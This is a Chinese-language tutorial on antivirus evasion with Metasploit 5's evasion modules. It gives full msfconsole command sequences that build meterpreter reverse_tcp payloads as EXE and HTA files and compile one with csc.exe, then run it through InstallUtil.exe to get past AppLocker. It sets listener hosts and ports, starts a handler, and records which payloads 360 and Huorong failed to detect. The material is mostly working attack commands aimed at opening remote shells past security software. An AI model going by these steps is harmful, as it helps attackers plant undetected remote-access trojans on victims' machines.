0x01 免杀能力一览表
- 1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
- 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
- 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
- 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
0x02 前言
2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。
evasion有以下几个模块,可以使用show evasion
进行查看。
0x03 生成载荷
1、生成exe
使用use windows/windows_defender_exe
进行生成payload
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3
msf5 evasion(windows/windows_defender_exe) > set LPORT 3333
msf5 evasion(windows/windows_defender_exe) > run
注意要复制产生的exe到另一个位置
不打开杀软的情况下,可正常上线:
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
注意-H和-P,H和P都是大写
能够上线
打开杀软,目前已经无法过360和火绒,看网上资料在该模块刚出来时是可以过360的。
2、生成hta
用另外一个evasion模块windows/windows_defender_js_hta
生成一下,360同样被杀
use windows/windows_defender_js_htaset filename payload.htaset lhost 192.168.142.134set lport 5555exploitmv /root/.msf4/local/payload.hta /root/shell/payload.hta
但是火绒静态+行为查杀都没发现问题,可正常上线
3、生成install_util
evasion还提供了其他几个模块,比如windows/applocker_evasion_install_util
创建payload
msf5 > use windows/applocker_evasion_install_util
msf5 evasion(windows/applocker_evasion_install_util) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/applocker_evasion_install_util) > set lhost 10.211.55.2
lhost => 10.211.55.2
msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333
lport => 3333
msf5 evasion(windows/applocker_evasion_install_util) > run[+] install_util.txt stored at /Users/xysoul/.msf4/local/install_util.txt
[*] Copy install_util.txt to the target
[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\csc.exe /out:install_util.exe install_util.txt
[*] Execute using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe
根据说明,需要使用csc.exe进行编译一下,然后用InstallUtil.exe加载文件。
csc.exe是微软.NET Framework 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。
直接执行install_util.exe是没有任何反应的,需要使用InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe来加载。
注意的是,如果生成的是32位的payload,就要用32位的.net下的InstallUtil来加载,否则文件会无法执行。
静态查杀都没有问题,执行时360行为查杀会报毒。
0x04 小结
在evasion中共提供了6个免杀模块,大家都可以进行尝试。上文中第三个免杀利用csc白名单加载payload的方式还有很多种,网上也有很多介绍,侯亮大神也提到了很多类似的白名单软件。
而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler,提供了更强大的自定义免杀机制。后面文章会讲述该模块使用。
0x05 参考
applocker_evasion_install_util.md:https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/evasion/windows/applocker_evasion_install_util.md
基于白名单Csc.exe执行payload:https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji